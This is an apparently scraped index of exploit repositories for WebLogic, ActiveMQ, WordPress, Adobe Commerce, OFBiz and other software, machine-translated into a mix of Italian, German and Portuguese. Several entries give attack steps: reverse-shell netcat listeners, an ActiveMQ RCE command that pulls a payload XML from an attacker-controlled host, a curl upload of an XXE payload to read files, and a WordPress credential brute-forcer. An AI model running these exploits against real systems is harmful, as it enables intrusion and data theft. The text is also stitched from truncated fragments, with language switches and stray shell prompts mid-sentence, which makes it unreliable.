CVE-2020-14883EXP

CVE-2020-14883EXP Utilizzato per la verifica e lo sfruttamento di WebLogic 10.3.6.0.0 ;12.1.3.0.0 ;12.2.1.3.0; 12.2.1.4.0 ;14.1.1.0.0. Non usare per scopi illegali. Inserisci IP+porta per iniziare la verifica es. 127.0.0.1:7001 Supporta l'esecuzione di comandi XML remoti Per le versioni diverse d...

CVE-2020-24148

CVE-2020-24148 Server-side request forgery SSRF nel plugin Import XML and RSS Feeds import-xml-feed 2.0.1 per WordPress tramite il parametro data in un'azione moovereadxml. Codice vulnerabile: /moove-actions.php: root@kitploit: ... public function moovereadxml $args = array 'data' = escsql...

xxexploiter

XXExploiter Genera i payload XML e avvia automaticamente un server per servire i DTD necessari o per effettuare l'exfiltrazione dei dati. Installazione root@kitploit: installa node e npm se non li hai ancora npm install -g xxexploiter Compilazione ed esecuzione dal sorgente Questa è una semplice...

CVE-2023-46604-Apache-ActiveMQ-RCE-exp

Progetto di riferimento Questo progetto è una riscrittura in Python dell'exploit del progetto https://github.com/X1r0z/ActiveMQ-RCE. Utilizzo root@kitploit: python attack.py -u 192.168.163.129 -x http://192.168.163.133:10001/poc.xml -p 61616 Il parametro -p è predefinito sulla porta predefinita d...

CVE-2026-34197

🚨 CVE-2026-34197 — RCE critica di Jolokia in Apache ActiveMQ RCE autenticata tramite MBean Jolokia → XML Spring remoto → Esecuzione di codice JVM 📖 Panoramica CVE-2026-34197 è una vulnerabilità di esecuzione remota di codice autenticata ad alta gravità che colpisce Apache ActiveMQ Classic. Il...

CVE-2026-34197

CVE-2026-34197 CVE-2026-34197 activemq PoC PoC per ActiveMQ come descritto nel post di Horizon3 https://horizon3.ai/attack-research/disclosures/cve-2026-34197-activemq-rce-jolokia/ root@kitploit: krasn@icestorm cve-2026-34197-activemq % docker compose up -d krasn@icestorm cve-2026-34197-activemq ...

CVE-2026-34197-Apache-ActiveMQ-RCE

Behebt das Problem, dass die Reverse-Shell fehlschlägt, weil der command nicht XML-escaped wurde...

CVE-2026-57588-Nessus-XML-Import-SQL-Injection-PoC

🛡️ CVE-2026-57588 - Nessus SQL-Injection-Exploitations-Framework 📋 Inhaltsverzeichnis Überblick Schwachstellendetails Funktionen Installation Schnellstart Anwendungsbeispiele Payload-Typen Fortgeschrittene Szenarien Berichterstellung Fehlerbehebung Sicherheitshinweise...

Web-Security-Learning

Web-Security-Learning Projektadresse: https://github.com/CHYbeta/Web-Security-Learning Wissensplanet【Angriff und Verteidigung von Schwachstellen】: https://t.zsxq.com/mm2zBeq Inhaltsverzeichnis: Web-Security-Learning Web Security SQL-Injection MySql MSSQL PostgreSQL MongoDB Tricks Werkzeuge XSS CS...

CVE-2025-27136

CVE-2025-27136 Sfruttamento di una vulnerabilità XML External Entity XXE. Usa un payload XML per recuperare file sensibili PoC test.xml root@kitploit: Usa curl per caricare test.xml dalla nostra macchina locale al bucket. root@kitploit: curl -X PUT http://127.0.0.1:PORT/TB1 -H "Content-Type:...

expat_CVE-2024-28757

Expat, versione 2.2.6 Expat è una libreria C per il parsing di XML, iniziata da James Clark nel 1997. Expat è un parser XML orientato allo stream. Questo significa che si registrano handler con il parser prima di iniziare il parsing. Questi handler vengono chiamati quando il parser rileva le...

CVE-2023-46604-RCE

CVE-2023-46604-RCE Python-Implementierung der nicht authentifizierten Remote-Codeausführung in Apache ActiveMQ Einrichtung & Exploit nc -lvnp 4444 - Listener starten python3 -m http.server 8080 - Hosten Sie poc.xml, das Ihren Payload enthält python3 CVE-2023-46604-RCE.py -i -p -u...

CVE-2014-0195

Script di Brute-Force per XML-RPC WordPress Questo repository contiene una proof of concept PoC basata su Python per il brute-forcing delle credenziali di accesso su istanze WordPress vulnerabili a CVE-2014-0195, in cui la funzione XML-RPC system.multicall può essere sfruttata per tentare più...

libxml2-exploit

libxml2-exploit Un exploit di esempio per CVE-2017-7376 Installazione Scarica questo repository e una versione vulnerabile di libxml2, ad esempio v2.7.7: root@kitploit: git clone https://github.com/brahmstaedt/libxml2-exploit.git cd libxml2-exploit wget...

CVE-2020-0601

CVE-2020-0601 Questo script verifica se l'hotfix per CVE-2020-0601 è stato applicato in base alla versione di Windows in uso. Inoltre, controlla se vi è un tentativo di sfruttare la vulnerabilità nota. Il file .xml è destinato agli utenti di ControlUp. Importa il file XML nelle tue azioni Script...

CVE-2024-34102

Cosmic Sting: Exploit CVE-2024-34102 Cosmic Sting è un tool basato su Go progettato per sfruttare CVE-2024-34102, una vulnerabilità di Remote Code Execution. Dettagli CVE-2024-34102 Le versioni di Adobe Commerce 2.4.7, 2.4.6-p5, 2.4.5-p7, 2.4.4-p8 e precedenti sono affette da una vulnerabilità di...

CVE-2024-45427-Exploit

Gerador de Exploit CVE-2024-45427 Este script gera um arquivo Excel malicioso .xlsx para explorar CVE-2024-45427 na biblioteca PhpSpreadsheet v3.7.0. Ele injeta uma carga XSS no nome da planilha manipulando o XML bruto, ignorando as verificações padrão de validação da biblioteca. Uso 1. Edite o...

CVE-2020-9496

CVE-2020-9496 ApacheOfBiz 17.12.01 - Esecuzione remota di codice non autorizzata Le richieste XML-RPC sono vulnerabili a deserializzazione non sicura. Passaggi Passaggio 1: pip3 install -r requeriments.txt Passaggio 2: nc -nlvp computer attaccante Passaggio 3: python3 shell.py -i -p -li -lp...

CVE-2020-29134

Totvs Fluig Plattform root@kitploit: Fluig ist die Produktivitäts- und Kollaborationsplattform, die in das ERP-System integriert, und in die anderen Systeme Ihres Unternehmens, um die Art und Weise, wie Sie und Ihr Team arbeiten, zu revolutionieren. CVE-2020-29134 root@kitploit: Die TOTVS Fluig...

CVE-2018-11761

Zusammenfassung In einer aktuellen Forschung zu Apache Tika habe ich eine DOS Denial of Service Schwachstelle im XML-Parser entdeckt. Sie wird dadurch verursacht, dass der Parser XML-Dokumente nicht ordnungsgemäß parst. Betroffene Version Getestet auf ElasticSearch 6.3.1 mit Tika 1.18 und 6.2.3 m...